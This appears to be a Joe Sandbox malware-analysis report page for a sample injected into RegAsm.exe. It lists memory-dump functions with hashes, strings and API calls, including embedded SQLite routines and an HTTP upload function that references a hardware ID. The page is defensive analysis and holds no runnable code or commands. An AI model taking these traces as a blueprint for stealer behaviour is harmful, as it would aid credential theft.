Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$API called with NULL prepared statement$API called with finalized prepared statement$ATTACH x AS %Q$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f$misuse
API String ID: 0-2988319395
Opcode ID: 74346cba82a367903b6d02d3143189da269a8c4c2e406b1d0edffe2797c1c35d
Instruction ID: 3f17ff2921ad067eb8757fdaaee2de816f0cd59c7e657f21994aeefee6133bcc
Opcode Fuzzy Hash: 74346cba82a367903b6d02d3143189da269a8c4c2e406b1d0edffe2797c1c35d
Instruction Fuzzy Hash: 63D1BDB19047419FF7108F24CD88B5B7BE4BF44319F044528F9898A392EB39F648DBA2

Function 1FF94B10 Relevance: 21.2, APIs: 5, Strings: 7, Instructions: 156COMMON

Download Yara Rule

Strings

%s at line %d of [%.10s], xrefs: 1FF94C39
misuse, xrefs: 1FF94C34
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1FF94C2A
UNIQUE constraint failed: %s.%s, xrefs: 1FF94BC9
rtree constraint failed: %s.(%s<=%s), xrefs: 1FF94BF9
API called with finalized prepared statement, xrefs: 1FF94C1E
SELECT * FROM %Q.%Q, xrefs: 1FF94B25

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$API called with finalized prepared statement$SELECT * FROM %Q.%Q$UNIQUE constraint failed: %s.%s$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f$misuse$rtree constraint failed: %s.(%s<=%s)
API String ID: 0-2013246442
Opcode ID: 1bcab41960b0d39ca311edacddffa266b5b3fbec1ab903862228d54de63e8839
Instruction ID: 333538c97369964519cb981e5e3a4f9c70aef349553443b677be9f96bdbe3141
Opcode Fuzzy Hash: 1bcab41960b0d39ca311edacddffa266b5b3fbec1ab903862228d54de63e8839
Instruction Fuzzy Hash: 00413672904705AFF7005F65DC48F9B37ACFF54308F044529FE0896211EB66B914E6B6

Function 20047C10 Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 150COMMON

Download Yara Rule

Strings

winFullPathname2, xrefs: 20047D35
%s%c%s, xrefs: 20047C7A
winFullPathname1, xrefs: 20047CC9

Memory Dump Source

Source File: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: %s%c%s$winFullPathname1$winFullPathname2
API String ID: 0-2846052723
Opcode ID: e9fb77357395e28bd314c5f657c883a0616050c7614c44e7997991fbbf935958
Instruction ID: 8fc102fa1843662ce9b09f929c3f827ea7f67435622946bd92d0fd6deca02794
Opcode Fuzzy Hash: e9fb77357395e28bd314c5f657c883a0616050c7614c44e7997991fbbf935958
Instruction Fuzzy Hash: 1B418BB1E083002AF31157F0BC85F2B3BFABF45225F04057DF68D69042DA26F942C266

Function 1FF94920 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 132COMMON

Download Yara Rule

Strings

SELECT * FROM %Q.'%q_rowid', xrefs: 1FF9496D
_parent, xrefs: 1FF94A6D
Schema corrupt or not an rtree, xrefs: 1FF949DC
_rowid, xrefs: 1FF94A57
SELECT * FROM %Q.%Q, xrefs: 1FF949AA

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: SELECT * FROM %Q.%Q$SELECT * FROM %Q.'%q_rowid'$Schema corrupt or not an rtree$_parent$_rowid
API String ID: 0-2087119806
Opcode ID: aa54e9416fb32d620bc00e53e993ba62246cd12376c1e62540a7bafc44e14568
Instruction ID: d569512b7577f1ef056c8051303081c78f55c335ef735967aa6c64e41d871ed4
Opcode Fuzzy Hash: aa54e9416fb32d620bc00e53e993ba62246cd12376c1e62540a7bafc44e14568
Instruction Fuzzy Hash: FC41F5B2919341ABD704DF64DC80D6FB7E9FFE9604F405A2DF485D2200E6B1E9448BA3

Function 2003AAD0 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 130COMMON

Download Yara Rule

Strings

%s at line %d of [%.10s], xrefs: 2003AB1A, 2003AB5B, 2003ABAF
misuse, xrefs: 2003AB15, 2003AB56, 2003ABAA
bind on a busy prepared statement: [%s], xrefs: 2003AB94
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 2003AB0B, 2003AB4C, 2003ABA0
API called with NULL prepared statement, xrefs: 2003AAD9
API called with finalized prepared statement, xrefs: 2003AAEF

Memory Dump Source

Source File: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$API called with NULL prepared statement$API called with finalized prepared statement$bind on a busy prepared statement: [%s]$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f$misuse
API String ID: 0-3679126755
Opcode ID: 92b1b9ff33d662f66e1273fa0ad7c9386f24b9fd6c9800d0b2c221c3aab6236b
Instruction ID: e8a51c75fc1952a2841836c8a60406684e90fe06eef8eed8a75ce28581fb2601
Opcode Fuzzy Hash: 92b1b9ff33d662f66e1273fa0ad7c9386f24b9fd6c9800d0b2c221c3aab6236b
Instruction Fuzzy Hash: AF4112716107009BF7118FA9DC85F8A73E4BF41309F044429FA599B386E775EA80D7A1

Function 1FFDECF0 Relevance: 19.6, APIs: 9, Strings: 2, Instructions: 335COMMON

Download Yara Rule

Strings

content, xrefs: 1FFDEFDF
docsize, xrefs: 1FFDF020

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: content$docsize
API String ID: 0-1024698521
Opcode ID: 25952f150fe03b722aa6d75625f8e0bf143904958637a90e81c814de126f5338
Instruction ID: 71d8221f83c9196b6a61fee61c903d068c9ee78e84d91d24215f7369ba917c4c
Opcode Fuzzy Hash: 25952f150fe03b722aa6d75625f8e0bf143904958637a90e81c814de126f5338
Instruction Fuzzy Hash: DBC1D072904312ABD711DF24CC84BABB7E4AF84354F190628FD44AB251E7F5F946CBA2

Function 1FF65470 Relevance: 19.5, APIs: 8, Strings: 3, Instructions: 225COMMON

Download Yara Rule

Strings

%lld, xrefs: 1FF6550D
%!0.15g, xrefs: 1FF654D2
JSON cannot hold BLOB values, xrefs: 1FF65697

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: %!0.15g$%lld$JSON cannot hold BLOB values
API String ID: 0-1047910854
Opcode ID: a98029e13f14df6ebd61fc55ee0de4c67f7b9f5bef4e8be934b9fca41fad3862
Instruction ID: 834049865e1d2d781bd2d0374321bab900671e273b00e1f802a964983ea31b05
Opcode Fuzzy Hash: a98029e13f14df6ebd61fc55ee0de4c67f7b9f5bef4e8be934b9fca41fad3862
Instruction Fuzzy Hash: 2A51C07A5003007AE7115A18DC49FBA7766EFC2339F18025DF9416B282EFE7B55183B2

Function 1FEE2B70 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 183COMMON

Download Yara Rule

Strings

,arg HIDDEN, xrefs: 1FEE2C7A
,schema HIDDEN, xrefs: 1FEE2CD2
%c"%s", xrefs: 1FEE2C1B
ABLE x, xrefs: 1FEE2BB6
("%s", xrefs: 1FEE2C4A

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: %c"%s"$("%s"$,arg HIDDEN$,schema HIDDEN$ABLE x
API String ID: 0-1763475469
Opcode ID: 3a0208b3beea44694ee836ed75bef6eab65cf74a47d448b83d5c4efdd1ea6047
Instruction ID: 9f5336f6bde2003ae967495c917d257036800f6445897cf323ced96a8267c2e5
Opcode Fuzzy Hash: 3a0208b3beea44694ee836ed75bef6eab65cf74a47d448b83d5c4efdd1ea6047
Instruction Fuzzy Hash: 7D71A4748083829FE314CF64D840B5ABBE0FF98308F008A5EF99997252E775E645CB93

Function 004015D6 Relevance: 18.0, APIs: 12, Instructions: 50windowmemoryregistryCOMMON

Download Yara Rule

APIs

Part of subcall function 004015AC: GetProcessHeap.KERNEL32(00000008,000000FF), ref: 004015B6
Part of subcall function 004015AC: RtlAllocateHeap.NTDLL(00000000), ref: 004015BD

MessageBoxA.USER32(00000000,00000000,00000000,00000000), ref: 004015F6
GetLastError.KERNEL32 ref: 004015FC
RtlSetCriticalSectionSpinCount.NTDLL(00000000,00000000), ref: 00401604
GetWindowContextHelpId.USER32(00000000), ref: 0040160B
GetWindowLongW.USER32(00000000,00000000), ref: 00401613
RegisterClassW.USER32(00000000), ref: 0040161A
IsWindowVisible.USER32(00000000), ref: 00401621
ConvertDefaultLocale.KERNEL32(00000000), ref: 00401628
MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 00401634
IsDialogMessageW.USER32(00000000,00000000), ref: 0040163C
GetProcessHeap.KERNEL32(00000000,?), ref: 00401646
HeapFree.KERNEL32(00000000), ref: 0040164D

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$Window$MessageProcess$AllocateByteCharClassContextConvertCountCriticalDefaultDialogErrorFreeHelpLastLocaleLongMultiRegisterSectionSpinVisibleWide
String ID:
API String ID: 3736313755-0
Opcode ID: 50232d06499843df97fd78435e2b6dd3369a7d743ae55464e9417fe8c8c1304c
Instruction ID: 7ebe4d3da410378d953937b911faff0273ef821350f425ddc6ee8239acdabda1
Opcode Fuzzy Hash: 50232d06499843df97fd78435e2b6dd3369a7d743ae55464e9417fe8c8c1304c
Instruction Fuzzy Hash: 78018476502820FB87216BA1AD0CDDF3E7CEE0B7523C400B5F206910218B29460ACBBE

Function 1FF5AA40 Relevance: 17.8, APIs: 5, Strings: 5, Instructions: 334COMMON

Download Yara Rule

Strings

%s at line %d of [%.10s], xrefs: 1FF5AAC7, 1FF5AD91
misuse, xrefs: 1FF5AAC2, 1FF5AD8C
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1FF5AAB8, 1FF5AD82
API called with NULL prepared statement, xrefs: 1FF5AA87
API called with finalized prepared statement, xrefs: 1FF5AA9C, 1FF5AD76

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$API called with NULL prepared statement$API called with finalized prepared statement$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f$misuse
API String ID: 0-860711957
Opcode ID: 13798bb801982b1f07a061ba10b4f6dbee43506e8767ed1c9322d13264b70b96
Instruction ID: 9e7b3aa0b516493ebe62d3645788ca4ef567f7a76fc2a74ea2a1407667c7cc3f
Opcode Fuzzy Hash: 13798bb801982b1f07a061ba10b4f6dbee43506e8767ed1c9322d13264b70b96
Instruction Fuzzy Hash: 5CB122B1A00745ABE7109F749C44B5B77D8AF40319F00052CE99A8B262FBB5F52987B2

Function 00404B20 Relevance: 17.8, APIs: 5, Strings: 5, Instructions: 257networkCOMMON

Download Yara Rule

APIs

Part of subcall function 004103D1: lstrcpy.KERNEL32(00000000,?), ref: 004103F0

Part of subcall function 00404AA7: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AD9
Part of subcall function 00404AA7: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404ADF
Part of subcall function 00404AA7: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AE5
Part of subcall function 00404AA7: lstrlen.KERNEL32(000000FF,00000000,?), ref: 00404AF7
Part of subcall function 00404AA7: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404AFF

Part of subcall function 0041039F: lstrcpy.KERNEL32(00000000,00000000), ref: 004103C5

InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00404BBF
StrCmpCA.SHLWAPI(?), ref: 00404BDD
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00404D75
HttpOpenRequestA.WININET(?,?,00000000,00000000,?,00000000), ref: 00404DB9
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00404DE7

Part of subcall function 004104C1: lstrlen.KERNEL32(?,00000000,?,0040605C,00436824), ref: 004104D5
Part of subcall function 004104C1: lstrcpy.KERNEL32(00000000,?), ref: 004104FD
Part of subcall function 004104C1: lstrcat.KERNEL32(?,00000000), ref: 00410508

Part of subcall function 00410445: lstrcpy.KERNEL32(00000000,?), ref: 00410475

Part of subcall function 0041047F: lstrcpy.KERNEL32(00000000,?), ref: 004104AD
Part of subcall function 0041047F: lstrcat.KERNEL32(?,00000000), ref: 004104B7

Strings

", xrefs: 00404ECB
------, xrefs: 00404DED
hwid, xrefs: 00404E9F
------, xrefs: 00404C67
------, xrefs: 00404F4D

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$Internet$Openlstrcatlstrlen$ConnectCrackHttpOptionRequest
String ID: "$------$------$------$hwid
API String ID: 4131192589-478782586
Opcode ID: 92cfcca338da0a2501efebcce788ae4f9b4b8a12396d01324233832b8ef64762
Instruction ID: f07849add05f9251f963a96d4d6dd4b2053a30b6b7e455ce72262cd635fdb23c
Opcode Fuzzy Hash: 92cfcca338da0a2501efebcce788ae4f9b4b8a12396d01324233832b8ef64762
Instruction Fuzzy Hash: 8FC18231D1512A9ACF20AB11CD466CDB7B4FF04308F4551E6A64C73166CAB97EC68FD8

Function 1FEE3D20 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 223COMMON

Download Yara Rule

Strings

%Q., xrefs: 1FEE3E11
=%Q, xrefs: 1FEE3E7F
PRAGMA , xrefs: 1FEE3DC5

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: %Q.$=%Q$PRAGMA
API String ID: 0-2099833060
Opcode ID: b6516a6d9b1bafb321abf05e225506b79024a6d610c48101eb6a459a240979db
Instruction ID: cb2a0f02e66fd49e80cb3b4b70a49b84b712e526bf2bc648f3f30a9db42acabd
Opcode Fuzzy Hash: b6516a6d9b1bafb321abf05e225506b79024a6d610c48101eb6a459a240979db
Instruction Fuzzy Hash: C171C4729043419FE700DF68EC45B9BBBA4BF44318F04066DF9859B252E739F915CBA2

Function 1FECB980 Relevance: 16.7, APIs: 11, Instructions: 244COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
